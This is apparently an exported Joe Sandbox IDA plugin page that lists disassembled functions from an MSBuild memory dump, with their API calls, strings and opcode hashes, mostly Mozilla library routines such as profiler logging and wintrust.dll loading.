Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Time$Now@SleepStamp@mozilla@@V12@_$BaseDurationFromMilliseconds@PlatformStampTicksUtils@mozilla@@V01@@Value@mozilla@@
String ID:
API String ID: 432163150-0
Opcode ID: 3cec31b9cd45f385ac7e5c5f3c5fc41f32417902170f507b986785ab6dcc264d
Instruction ID: 1676792fce0effdf45d4f76aa00abf44106492367c4fa9c4193a83b29249f565
Opcode Fuzzy Hash: 3cec31b9cd45f385ac7e5c5f3c5fc41f32417902170f507b986785ab6dcc264d
Instruction Fuzzy Hash: A1213A31B14648CBD3089F38984216BFBB9FFC6304F408629E945A6184FF74C6868791

Function 6BCFC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6BCFC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6BCFC842

Part of subcall function 6BCFCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6BD1B5EB,00000000), ref: 6BCFCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6BCFC863
std::_Facet_Register.LIBCPMT ref: 6BCFC875

Part of subcall function 6BCDB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6BD1B636,?), ref: 6BCDB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6BCFC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCFC8BC

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 3bd654e5973a995f993ee748d09977ea63c697fee612902a671c874943aba3c6
Instruction ID: fd72a5957f6540182c036c482cf49820fcdb2c27d9de4dea6c66951a54dd6598
Opcode Fuzzy Hash: 3bd654e5973a995f993ee748d09977ea63c697fee612902a671c874943aba3c6
Instruction Fuzzy Hash: 30118675B002459FDB00DFB4C9859AFBB79EF89354F00042AEB069B381EB74E905CBA1

Function 6BCAEB90 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000104), ref: 6BCAEBB5

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6BCDD7F3), ref: 6BCAEBC3
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6BCDD7F3), ref: 6BCAEBD6
free.MOZGLUE(?,?,?,?,?,?,6BCDD7F3), ref: 6BCAEBF6
free.MOZGLUE(00000000,?,?,?,?,?,?,6BCDD7F3), ref: 6BCAEC0E

Part of subcall function 6BCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BCC5EDB
Part of subcall function 6BCC5E90: memset.VCRUNTIME140(6BD07765,000000E5,55CCCCCC), ref: 6BCC5F27
Part of subcall function 6BCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6BCC5FB2

GetLastError.KERNEL32(?,?,?,?,?,?,6BCDD7F3), ref: 6BCAEC1A

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionfreememset$EnterErrorFileLastLeaveModuleNamemallocmoz_xmalloc
String ID:
API String ID: 2948488910-0
Opcode ID: c3e9ea9b7d8f2bd2670b8e1ce690e92f3775abd1f88d58b7a341c7c92b0b99f8
Instruction ID: c6f1d55ed0e7f8e1eea11babf7bb4b790b6ca9d52e9503d6e697e25c6fe20a38
Opcode Fuzzy Hash: c3e9ea9b7d8f2bd2670b8e1ce690e92f3775abd1f88d58b7a341c7c92b0b99f8
Instruction Fuzzy Hash: 8411ECF1A152565BE7008B79AC4976F76A8AB02B18F140465E555DB380F3BDDA0087E2

Function 6BCDD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6BCAEB57,?,?,?,?,?,?,?,?,?), ref: 6BCDD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6BCAEB57,?), ref: 6BCDD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6BCAEB57,?), ref: 6BCDD673
free.MOZGLUE(?), ref: 6BCDD888

Strings

|Enabled, xrefs: 6BCDD81E

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 9bac5d3c2e60ade7e2e5b6affe00b6d8a3c560da7bf6630b28d47f60ca5294ad
Instruction ID: 9072783714c8a98268349ae7eb77e7fff22d98033fc845cbca377c0454652bcb
Opcode Fuzzy Hash: 9bac5d3c2e60ade7e2e5b6affe00b6d8a3c560da7bf6630b28d47f60ca5294ad
Instruction Fuzzy Hash: 26A114B4E103459FDB11CF68C8807AEBBF1EF49314F14449DDA99AB341E738AA45CBA1

Function 6BCF0180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6BCF0270
GetCurrentThreadId.KERNEL32 ref: 6BCF02E9
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCF02F6
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCF033A

Strings

about:blank, xrefs: 6BCF020F

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: 2e4ff717b2280fe69a99034082e01e0c665062feebb4bcde282ee581ded20960
Instruction ID: b08a6f3557222f0187e761eeb5afa27cca9e2081b36fe7313f55be437f092e92
Opcode Fuzzy Hash: 2e4ff717b2280fe69a99034082e01e0c665062feebb4bcde282ee581ded20960
Instruction Fuzzy Hash: 29519074911216CFCB00DF68C880A9AF7F9FF49724F50459AC919AB341E735FA46CBA1

Function 6BCEE100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEE12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6BCEE084,00000000), ref: 6BCEE137

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6BCEE196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6BCEE1E9

Part of subcall function 6BCE99A0: GetCurrentThreadId.KERNEL32 ref: 6BCE99C1
Part of subcall function 6BCE99A0: AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCE99CE
Part of subcall function 6BCE99A0: ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCE99F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6BCEE13F

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 807f5a1a029a2ae3c5cfe8af0964b544bac96cd57cffa8a86217720d51bb71e3
Instruction ID: bd4debcd73cf9b4802da585231a77b2156b30ae7f954d2f39083c44a1090ef0b
Opcode Fuzzy Hash: 807f5a1a029a2ae3c5cfe8af0964b544bac96cd57cffa8a86217720d51bb71e3
Instruction Fuzzy Hash: 903118B19247419FD7049F68944136AF7D5AFC9258F00852EE9694F341FBB8CA0AC7B2

Function 6BCE0210 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCE0222
moz_xmalloc.MOZGLUE(0000000C), ref: 6BCE0231

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCE028B
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6BCE02F7

Strings

@, xrefs: 6BCE02D8

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireFreeHeapReleasemallocmoz_xmalloc
String ID: @
API String ID: 2782572024-2766056989
Opcode ID: 31704aeb3ae43130a4c7d7ff0bb8d9f8964199478561c56a78c6c8442dc0e107
Instruction ID: 6cb6adbf9e4db4a9250d5e304016f15595a178bb9b0fcbd137baaf2288316778
Opcode Fuzzy Hash: 31704aeb3ae43130a4c7d7ff0bb8d9f8964199478561c56a78c6c8442dc0e107
Instruction Fuzzy Hash: 0E31BCB1A10610CFEB54CF68C881A1AB7E1FF44715B14856DD95AEB341EB39EE02CBE1

Function 6BCEE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEE04F

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6BCEE057

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: e0246a0f00d2504e1a01d27730ffff35cc3001a3727558d923ff74fc19547aec
Instruction ID: 689f9825c412eab24bdf0f2e7da06973cf960c06ef0e8e176f9417191ad11a34
Opcode Fuzzy Hash: e0246a0f00d2504e1a01d27730ffff35cc3001a3727558d923ff74fc19547aec
Instruction Fuzzy Hash: 2221D774A20119CFDF04DF74C8596AEB7B5EF45248F044069EE0A9B341EB39EA06C7B1

Function 6BD0AB90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SearchPathW.KERNEL32(?,6BCCBFBD,.dll,00000000,00000000,00000000,6BCCBFBD), ref: 6BD0ABBD
moz_xmalloc.MOZGLUE(00000001), ref: 6BD0ABD8

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6BD0ABEB
SearchPathW.KERNEL32(?,?,.dll,00000001,?,00000000), ref: 6BD0AC03

Strings

.dll, xrefs: 6BD0ABB4, 6BD0ABFA

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: PathSearch$mallocmemsetmoz_xmalloc
String ID: .dll
API String ID: 3063185715-2738580789
Opcode ID: df81af2f42df770d0525761b8ba06410a09c19adf50c8f389ddd87e8b506da2a
Instruction ID: 253c50bbee92f4d7996bb69a7758d006aeb7e43bdaecd528f222d4b6d257a2a3
Opcode Fuzzy Hash: df81af2f42df770d0525761b8ba06410a09c19adf50c8f389ddd87e8b506da2a
Instruction Fuzzy Hash: 0901B5B6A0411A6FFB005F749C45ABFBAADEF96364F050035FE04EB200EA799D544BB1

Function 6BD0A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BD2F770,-00000001,?,6BD1E330,?,6BCCBDF7), ref: 6BD0A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6BCCBDF7), ref: 6BD0A7C2
moz_xmalloc.MOZGLUE(00000018,?,6BCCBDF7), ref: 6BD0A7E4
LeaveCriticalSection.KERNEL32(6BD2F770), ref: 6BD0A80A

Strings

accelerator.dll, xrefs: 6BD0A7BF

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: fef0417f2f7475d68901e2ff7b4ca374a119f4e1dd5958c85b7295f01c0dfc84
Instruction ID: cf339b9594133bc9f39436418faf4f0db2bd77b486d557b400cdaba25c8b1a8b
Opcode Fuzzy Hash: fef0417f2f7475d68901e2ff7b4ca374a119f4e1dd5958c85b7295f01c0dfc84
Instruction Fuzzy Hash: CB014F71A142449FEB04CF15D885D19B7B8FB8A72570584ABEA098F251DBB4DD04CBA1

Function 6BCAF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6BCAEE51,?), ref: 6BCAF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6BCAF0C2

Strings

ole32, xrefs: 6BCAF0AD
Could not find CoTaskMemFree, xrefs: 6BCAF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6BCAF0DC

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 7fa7deb980dca357e40d1851abe6c773aac14476a4c8ba8294019a07c0e30f46
Instruction ID: 09a84accc6bd17596b283e05670bb6d9297e70b60c6d9a6099f2b49c719d3a4a
Opcode Fuzzy Hash: 7fa7deb980dca357e40d1851abe6c773aac14476a4c8ba8294019a07c0e30f46
Instruction Fuzzy Hash: 3CE092705452829FBE045B62D819A2677A9AF1321D304802EF701E9640FE79D1048731

Function 6BD073E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32.dll,?,?,6BCB434E), ref: 6BD073EB
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwarenessContext), ref: 6BD07404
FreeLibrary.KERNEL32(?,?,6BCB434E), ref: 6BD07413

Strings

SetProcessDpiAwarenessContext, xrefs: 6BD073FE
user32.dll, xrefs: 6BD073E6

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SetProcessDpiAwarenessContext$user32.dll
API String ID: 145871493-397433131
Opcode ID: f097923d6b6db9fa809951209d93a315ed06a6b123e8f43d619ef675b254d729
Instruction ID: 5c5e994064b62f580757e101774daac6cc9b5b0d52065de1fecd956d04a8c695
Opcode Fuzzy Hash: f097923d6b6db9fa809951209d93a315ed06a6b123e8f43d619ef675b254d729
Instruction Fuzzy Hash: 02E04F70106342AFE7101FA4D908702FBECEF05261F00882AEB85CB340EBF5D4048B50

Function 6BCE01C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB7266), ref: 6BCE01C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6BCE01E7
FreeLibrary.KERNEL32(?,6BCB7266), ref: 6BCE01FE

Strings

CryptCATAdminReleaseContext, xrefs: 6BCE01E1
wintrust.dll, xrefs: 6BCE01C3

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: ed0a0a9a9f2ed4d7116e9f7c71e4ee7268f172e3328e31361f8133ac969c7af9
Instruction ID: 049035aa5c298ca0d7a995cc836c0a6e648a118482af7c6e1054c231a6434817
Opcode Fuzzy Hash: ed0a0a9a9f2ed4d7116e9f7c71e4ee7268f172e3328e31361f8133ac969c7af9
Instruction Fuzzy Hash: 74E075B44843C59AFB049B66D809712FBE8BB07795F004927EB14CD280EBB9C0059F60

Function 6BCE0170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB7308), ref: 6BCE0178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6BCE0197
FreeLibrary.KERNEL32(?,6BCB7308), ref: 6BCE01AE

Strings

wintrust.dll, xrefs: 6BCE0173
CryptCATCatalogInfoFromContext, xrefs: 6BCE0191

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: e81a6b5540dd2b2ac07b9b9c7712022c7856e6e48258afb5f95e8aa934d7c1f6
Instruction ID: bd9ee8f5d2b3bd0f92c07f509dec480fd3c5c706b7e6a0734368a0e1372e9b54
Opcode Fuzzy Hash: e81a6b5540dd2b2ac07b9b9c7712022c7856e6e48258afb5f95e8aa934d7c1f6
Instruction Fuzzy Hash: 93E01AB04812819BFF085F65CA0AB01FBFAB702241F000467EB848D280EBB8C0808B70

Function 6BCE0120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB7297), ref: 6BCE0128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6BCE0147
FreeLibrary.KERNEL32(?,6BCB7297), ref: 6BCE015E

Strings

CryptCATAdminEnumCatalogFromHash, xrefs: 6BCE0141
wintrust.dll, xrefs: 6BCE0123

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: 02305e9a3cd9eeb22a19d43b7fc2bd2a71826a7f9062c238700a4270f52dba4a
Instruction ID: 5eeb25d84ea26190b358094d5b8eb6a772108db2182676cae1d82323a43490ed
Opcode Fuzzy Hash: 02305e9a3cd9eeb22a19d43b7fc2bd2a71826a7f9062c238700a4270f52dba4a
Instruction Fuzzy Hash: 40E07EB54452859BFB046B6AD809716FBE8B707795F004467AB18CE280EBB8C1058FA0

Function 6BCE00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB7235), ref: 6BCE00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6BCE00F7
FreeLibrary.KERNEL32(?,6BCB7235), ref: 6BCE010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6BCE00F1
wintrust.dll, xrefs: 6BCE00D3

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

